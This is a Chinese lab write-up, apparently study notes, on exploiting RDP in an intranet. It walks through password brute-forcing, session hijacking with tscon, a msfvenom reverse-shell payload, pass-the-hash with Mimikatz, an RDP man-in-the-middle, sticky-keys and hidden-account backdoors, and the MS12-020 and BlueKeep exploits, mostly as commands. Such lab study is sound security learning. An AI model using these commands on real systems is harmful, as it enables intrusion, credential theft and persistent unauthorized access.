内网中的RDP利用

学习参考

https://www.freebuf.com/articles/network/276242.html

能跟着实操的都实操一下。熟悉一些命令,过程。

实验环境:win2008,192.168.72.139

两个用户: administrator,shizuru

RDP服务 确定/开启

RDP服务确定

看是否开启RDP,

注册表查询

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections    # 查看RDP服务是否开启: 1关闭, 0开启 REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\ WinStations\RDP-Tcp" /v PortNumber    # 查看 RDP 服务的端口

进程查看

tasklist /svc | findstr "TermService"    # 找到对应服务进程的 PID 
netstat -ano | findstr "3389"    # 找到进程对应的端口号

端口扫描

nmap,fscan扫,看有无3389。

RDP服务开启

如果没开启就需要我们开启RDP服务。

修改注册表

先设置允许RDP,

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

再配置防火墙,允许远程桌面连接

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

在这里插入图片描述

MSF模块启动

拿到meterpreter后:

use post/windows/manage/enable_rdp
set session 1
exploit

RDP服务连接

前面开启RDP服务后就可以连接了,

注意有时候会报错

这时关闭鉴权模式即可:

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0

注意还要把shizuru加入Remote Desktop组才能登录:

在这里插入图片描述

Linux上用rdesktop:

rdesktop <ip>

在这里插入图片描述

kali这边登录后,win2008那边就下线了。

Windows用mstsc.exe

在这里插入图片描述

在这里插入图片描述

对RDP口令爆破

跟ssh这些一样,可以在线爆破。

比如hydra

hydra -v -f -l user -P wordlists.txt rdp://ip
hydra -v -f -l shizuru  -P pass.txt rdp://192.168.72.139

如果是域的话就是INTRANET\win2008这种的用户名

在这里插入图片描述

成功与否完全取决于字典强度。

RDP劫持实现未授权登录 (✨)

这是重点。经常提到的内网RDP未授权应该指的就是这个。

在有多个用户登录一台机子(不同账户分开),看任务管理器:

在这里插入图片描述

我这里是admin视角,右键shizuru后可以点连接,输入密码切换:

在这里插入图片描述

在这里插入图片描述

重点

Windows有一个tscon命令,也可以实现这种切换功能。

首先

query user

获取用户对应会话的ID,

然后tscon,对应ID,密码

tscon <会话ID> /PASSWORD:<密码>

在这里插入图片描述

即可切换。

而有一个特殊用法

在SYSTEM权限下可以直接tscon <ID>切换!

此时攻击者可以在不提供其他用户登录凭据的情况下自由切换会话桌面,实现劫持其他用户的 RDP 会话。

有什么用呢?

RDP 会话劫持在特定情况下可以大显身手,比如对于较新的 Windows 系统,默认情况下是无法通过 Mimikatz 导出用户明文口令的,此时我们通过常规方法无法切换至另一用户的桌面,那么我们便可以借助上文提到的方法,先提权至 SYSTEM 权限,再劫持目标用户的 RDP 并切换过去。

特别注意的是,即使远程连接的用户关闭了远程连接窗口,也不会劫持该回话,只是在后台显示 “已断开连接”(Disconnected),

此时**仍能在SYSTEM权限下通过tscon**实现未授权连接。

高权限劫持低权限用户的RDP

对于这个实验环境就是admin 劫持 shizuru。

由于高权限一般指管理员权限,所以提权到SYSTEM相对容易一些。

这里学习一下:

高权限用户劫持低权限用户的 RDP 会话利用起来比较简单,由于具有管理员权限,可以直接通过创建服务等方式获取 SYSTEM 权限。

这是个很好的思路,因为很多服务是以SYSTEM权限运行的。

创建劫持用户会话的服务:

(cmd)

sc create rdp binpath= "cmd.exe /k tscon 2 /dest:console"
sc start rdp

执行sc start rdp后,我们创建的劫持会话的服务将会启动,由于 Windows 是以 SYSTEM 权限运行服务的,所以我们tscon 2命令也会以 SYSTEM 权限运行,此时便可以在不提供目标用户密码的情况下成功劫持目标用户的会话:

在这里插入图片描述

sc start rdp后就能成功免密登录。

也可以用psexec来获得一个SYSTEM权限的cmd

psexec.exe -s -i cmd query user
tscon 2 /dest:console

在这里插入图片描述

低权限劫持高权限的RDP

这里对应 shizuru劫持admin。

由于低权限,就需要用其它辅助手段提权了。

场景:

假设我们以shizuru rdp登录(拿到了账密),发现有一个admin的会话:

在这里插入图片描述

我们配合MSF,CS这些来拿shizuru的SYSTEM权限。

由于要上传shell,貌似rdp不支持跨机复制。

这里模拟一下,msf生成木马:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.181 LPORT=2333 --platform windows -f exe -o shell.exe

起个http服务,shizuru上下载,msf监听上线。

然后meterpreter getsystem拿权限。(呃呃呃,并没拿到。。)

(所以说低权限打高权限很难)

假设我们拿到SYSTEM了,那么直接

query user
tscon <ID> /dest:console

亦可。

利用hash传递登录RDP远程桌面

只有"Restricted Admin"才行,普通RDP组用户不行

在这里插入图片描述

修改/查询 Restricted Admin Mode

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /fREG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"
# 查看是否成功开启

0表示开启。

在这里插入图片描述

开启Restricted Admin Mode后,可以用Mimikatz pth来攻击。

privilege::debug
sekurlsa::pth /user:administrator /domain:如果有的话 /ntlm:ab89b1295e69d353dd7614c7a3a80cec "/run:mstsc.exe /restrictedadmin"

这里直接搬图了:

在这里插入图片描述

但其实,既然都抓到admin的hash了,也可以干别的pth,不需要局限在RDP这里,不如pth smb这些。

当然就当一个点记下来也好。也不失为一种方法。

RDP远程桌面中间人攻击

既然是内网协议,就必有中间人攻击。。。

中间人攻击通常会导致凭据捕获。同样的,在对 RDP 会话进行中间人攻击,攻击者可以获得一个登录用户的明文密码,用于后期的横向移动。当 RDP 爆破走不通时,我们不妨尝试一下中间人。

工具:

Seth是一个用 Python 和 Bash 编写的 RDP 中间人攻击自动化工具,通过尝试降级连接用以提取明文凭证来实现 MitM RDP 连接,而不管网络级别的身份验证(NLA)是否启用。

https://github.com/SySS-Research/Seth

用法:

Usage:
./seth.sh <INTERFACE> <ATTACKER_IP> <VICTIM_IP> <GATEWAY_IP|HOST_IP> [<COMMAND>]INTERFACE:网卡
ATTACKER IP:中间人 IP
VICTIM IP:连接者 IP
GATEWAY IP|HOST IP:被连接的远程主机 IP
COMMAND:启动时执行的命令

然后当 PC 上的用户远程登录 DC 时便会抓取到登录用户的明文密码。不仅如此,还可以对用户键盘的操作进行记录,甚至使用<COMMAND>在目标主机上执行命令。详情请看:https://www.freebuf.com/sectool/178146.html

启动seth监听:(为方便这里直接kali连接win2008)

sudo ./seth.sh eth0 192.168.136.181 192.168.136.181 192.168.72.139

在这里插入图片描述

可能要Windows登才能抓到keyboard之类的?

获取RDP远程桌面连接记录

远程桌面连接的历史记录可以定位到关键服务器

获取 RDP 远程桌面连接记录可以通过枚举注册表完成,但是如果想要获得所有用户的历史记录,需要逐个获得用户的 NTUSER.DAT 文件,通过注册表加载配置单元,导入用户配置信息,再进行枚举才能够实现。

手动获取比较复杂,3gstudent有脚本:

https://github.com/3gstudent/List-RDP-Connections-History

远程桌面相关的维持权限的方法

Windows辅助功能维权

这篇讲的很细:

https://xz.aliyun.com/t/7034

可以用的有 粘滞键,放大镜,讲述人这些。

以粘滞键为例:

sethc.exe,路径c:\windows\system32\sethc.exe

找到EXE后,把sethc.exe改为cmd.exe即可:

cd c:\windows\system32  
move sethc.exe sethc.exe.bak   // 将sethc.exe重命名
copy cmd.exe sethc.exe       // 将一个cmd.exe副本保存伪装成sethc.exe

这样我们不需要登录,只需要远程桌面服务连接,在登录界面调用粘滞键即可拿到shell。

由于前面我们将cmd放在system32下,所以这个shell是SYSTEM权限,

我们就可以添加一个管理员用户登录,或者tscon <ID>随意切换会话了。

但是,有些主机做了防护:即使是SYSTEM权限也是无法修改 sethc.exe的,只有TrustedInstaller权限才可以。

此时可以steal TrustedInstaller.exe的token。

方法如下:

在meterpreter拿到shell后

sc.exe start TrustedInstaller       # 先进入shell启动TrustedInstaller服务use incognito
ps      # 找到TrustedInstaller的进程PID,这里为3476
steal_token <PID>      # 从该进程中窃取令牌
getuid   

然后就可以对sethc.exe进行操作了。

MSF中也有对应模块实现:

post/windows/manage/sticky_keys

use post/windows/manage/sticky_keys
set session 1
set target UTILMAN # 辅助功能
exploit

在这里插入图片描述

Windows 系统隐藏账户

net user hacker$ 123qweQWE /add
net localgroup administrators hacker$ /add

可以看到添加后,net user是看不到 hacker$账户的:

在这里插入图片描述

然后把hacker$加入RDP组就可以用隐藏账户登录了。

更为隐藏的方式这里不深入探究,原理就是利用注册表来注册这个隐藏账户,这样就只能在注册表中才能看到。

RDP相关漏洞(✨)

对3389端口的DoS攻击

这一利用借助的是 2012 年爆出来的 MS12-020 远程桌面协议 RDP 远程代码执行漏洞(CVE-2012-0002)。该漏洞是由于 Windows 在处理某些对象时存在错误,可通过特制的 RDP 报文访问未初始化或已经删除的对象,导致任意代码执行,然后控制系统。

msf中有两个利用模块,一个exp,一个scan

search MS12-020

这里用win7实验:ip:192.168.72.141

先检测:

use auxiliary/scanner/rdp/ms12_020_check
set rhosts 192.168.72.141
set rport 3389
exploit

在这里插入图片描述

然后打exp:(看hint用的UAF。。)

use dos/windows/rdp/ms12_020_maxchannelids
set RHOSTS 192.168.72.141
exploit

在这里插入图片描述

再看win7:经典蓝屏~

在这里插入图片描述

可能利用的场景:

DoS 攻击执行者通常攻击托管在诸如银行或信用卡支付网关等高端 Web 服务器上的站点或服务,通过暂时或无限期地中断连接 Internet 的主机服务,使其目标用户无法使用机器或网络资源。

CVE-2019-0708

Windows 远程桌面服务的远程代码执行漏洞

影响版本:

Windows 7 foR 32-bit Systems Service Pack 1

Windows 7 for x64-based Systems Service Pack 1

Windows Server 2008 foR 32-bit Systems Service Pack 2

Windows Server 2008 foR 32-bit Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for Itanium-Based Systems Service Pack 2

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows XP SP3 x86

Windows XP Professional x64 Edition SP2

Windows XP Embedded SP3 x86

Windows Server 2003 SP2 x86

Windows Server 2003 x64 Edition SP2

Windows 8 和 Windows 10 及之后版本的用户不受此漏洞的影响。

MSF中也有模块:

search CVE-2019-0708

一个检测,一个EXP

Scan:

ucanner/rdp/cve_2019_0708_bluekeep
options
set RDP_CLIENT_IP kali_ip
st RHOSTS win7_ip

在这里插入图片描述

EXP

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.72.141
set lhost 192.168.136.181
set rdp_client_ip 192.168.136.181
unset RDP_CLIENT_NAME
set target 2    # 这里的 2 代表目标机为虚拟机环境
exploit

由于我是用vmware17搭的win7,target里面最高到15.1,所以打不通。

打通示例:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/53611.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Chainlit集成Mem0使用一个拥有个性化AI记忆的网页聊天应用

前言 Mem0 简介&#xff0c;可以看我上一篇文章《解决LLM的永久记忆的解决方案-Mem0实现个性化AI永久记忆功能》。本篇文章是对Mem0 实战使用的一个示例。通过Chainlit 快速实现ui界面和open ai的接入&#xff0c;通过使用Mem0 实现对聊天者的对话记录的记忆。 设计实现基本原…

828华为云征文|部署多媒体流媒体平台 Plex

828华为云征文&#xff5c;部署多媒体流媒体平台 Plex 一、Flexus云服务器X实例介绍1.1 云服务器介绍1.2 性能模式1.3 计费模式 二、Flexus云服务器X实例配置2.1 重置密码2.2 服务器连接2.3 安全组配置 三、部署 Plex3.1 Plex 介绍3.2 Docker 环境搭建3.3 Plex 部署3.4 Plex 使…

张家辉新作《重生》内地票房逆袭

由张家辉领衔主演的电影《重生》在票房大获成功&#xff0c;击败多部同期中西强片&#xff0c;成为今年暑期档的最大黑马。张家辉在片中饰演的角色原本拥有幸福家庭&#xff0c;为了复仇走上亡命之徒的道路&#xff0c;影片中他再度展现了影帝级别的演技&#xff0c;受到网民和…

CCF推荐A类会议和期刊总结(计算机网络领域)- 2022

CCF推荐A类会议和期刊总结&#xff08;计算机网络领域&#xff09;- 2022 在中国计算机学会&#xff08;CCF&#xff09;的推荐体系中&#xff0c;A类会议和期刊代表着计算机网络领域的顶尖水平。这些会议和期刊不仅汇集了全球顶尖的研究成果&#xff0c;还引领着该领域的前沿发…

合碳智能 × Milvus:探索化学合成新境界——逆合成路线设计

合碳智能&#xff08;C12.ai&#xff09;成立于2022年&#xff0c;致力于运用AI和具身智能技术&#xff0c;为药物研发实验室提供新一代智能化解决方案&#xff0c;推动实验室从自动化迈向智能化&#xff0c;突破传统实验模式与人员的依赖&#xff0c;解决效率和成本的瓶颈&…

解决浏览器自动将http网址转https

删除浏览器自动使用https的方式 在浏览器地址栏输入&#xff1a;chrome://net-internals/#hsts PS:如果是edge浏览器可输入&#xff1a;edge://net-internals/#hsts 在Delete domain security policies搜索框下&#xff0c;输入要删除的域名,然后点击delete 解决方法&#…

回收玻璃减薄中的氢氟酸

回收玻璃减薄中的氢氟酸是一个重要的环保和资源再利用环节。在玻璃减薄过程中&#xff0c;氢氟酸作为主要的化学蚀刻剂&#xff0c;与玻璃基板表面的二氧化硅等成分发生反应&#xff0c;实现玻璃的减薄。然而&#xff0c;随着反应的进行&#xff0c;氢氟酸的浓度会逐渐降低&…

MyQql性能诊断与实践

获取更多免费资料&#xff0c;见下图

证书学习(四)X.509数字证书整理

目录 一、X.509证书 介绍1.1 什么是 X.509证书?1.2 什么是 X.509标准?1.3 什么是 PKI?二、X.509证书 工作原理2.1 PKI 的基础——加密算法2.2 PKI 证书编码三、X.509证书 结构3.1 证书字段3.2 证书扩展背景: 我们在日常的开发过程中,经常会遇到各种各样的电子证书文件,其…

新电脑Win11系统想要降级为Win10怎么操作?

前言 现在的电脑大部分都是Windows 11系统&#xff0c;组装机还好一些&#xff0c;如果想要使用Windows 10&#xff0c;只需要在安装系统的时候选择Windows 10镜像即可。 但是对于新笔记本、厂商的成品机、一体机来说&#xff0c;只要是全新的电脑&#xff0c;基本上都是Wind…

快速入门游戏领域,开发游戏需要哪些技术?

在这个充满创意和技术的时代&#xff0c;游戏行业成为众多创新人才追求梦想的热土。对于准备踏入这个充满挑战与机遇的领域的新人来说&#xff0c;了解游戏开发流程是至关重要的。 游戏市场蓬勃发展&#xff0c;游戏行业未来行情可观&#xff0c;在这个充满创意和技术的时代&a…

8. GIS数据分析师岗位职责、技术要求和常见面试题

本系列文章目录&#xff1a; 1. GIS开发工程师岗位职责、技术要求和常见面试题 2. GIS数据工程师岗位职责、技术要求和常见面试题 3. GIS后端工程师岗位职责、技术要求和常见面试题 4. GIS前端工程师岗位职责、技术要求和常见面试题 5. GIS工程师岗位职责、技术要求和常见面试…

vue3 前端实现pdf打印预览 printjs

在utils建print.ts文件 interface PrintFunction {extendOptions: Function;getStyle: Function;setDomHeight: Function;toPrint: Function; }const Print function (dom, options?: object): PrintFunction {options options || {};// ts-expect-errorif (!(this instanc…

电脑技巧:如何在Win11电脑上调整设置,让屏幕更加护眼?

目录 一、调整屏幕亮度 二、启用夜间模式 三、调整色彩设置 四、使用第三方护眼软件 五、保持良好的用眼习惯 总结 随着长时间使用电脑的人越来越多,护眼问题也变得越来越重要。Win11作为更新的操作系统,提供了更多的设置选项来帮助我们保护眼睛。本文将详细介绍如何在…

清华计算几何--凸Polygon的相交问题

凸Polygon和相交定义 本节只讨论凸Polygon的问题&#xff0c;不涉及凹Polygon. 相交包含了边相交和完全包含。 凸Polygon相交的两个问题 Detection(检测) 判断两个凸Polygon是否相交&#xff0c;至于相交部分是什么不关心. Construction(构造) 求出两个凸Polygon具体相交…

AI基础 L9 Local Search II 局部搜索

Local Beam search 对于当前的所有k个状态&#xff0c;生成它们的所有可能后继状态。 检查生成的后继状态中是否有任何状态是解决方案。 如果所有后继状态都不是解决方案&#xff0c;则从所有后继状态中选择k个最佳状态。 当达到预设的迭代次数或满足某个终止条件时&#x…

Linux:归档及压缩

tar命令 • tar 集成备份工具 – -c&#xff1a;创建归档 – -x&#xff1a;释放归档 – -f&#xff1a;指定归档文件名称,必须在所有选项的最后 – -z、-j、-J&#xff1a;调用 .gz、.bz2、.xz 格式工具进行处理 – -t&#xff1a;显示归档中的文件清单 – -C&#xff1a;指定…

MES的“尽头”是什么?

01 MES的发展历程 要了解MES首先需要知道其发展历程。制造执行系统&#xff08;MES&#xff09;是随着制造业的发展逐步演变和成熟起来的。以下是MES发展的几个主要阶段&#xff1a; 第一阶段&#xff1a;数据收集与报告&#xff08;1980年代 - 1990年代&#xff09; 制造业…

[苍穹外卖]-05Redis快速入门

Redis入门 Redis是一个基于内存的key-value结构数据库 基于内存存储, 读写性能高适合存储热点数据(热点商品,咨询,新闻)企业应用广泛中文官网: Redis中文网英文网: https://rsdis.io 下载安装: Redis安装包分为Windows版本和Linux版本, Redis的windows版属于绿色软件, 解压后…

OCR技术视角:智能文档管理中的票据自动化识别与处理

在数字化转型的浪潮中&#xff0c;企业对于高效、自动化的文档管理需求日益增长。票据作为企业运营中不可或缺的部分&#xff0c;其识别与管理的智能化成为了提升工作效率的关键。本文将深入探讨智能文档系统中票据识别功能的原理、技术优势以及在不同行业中的应用实践&#xf…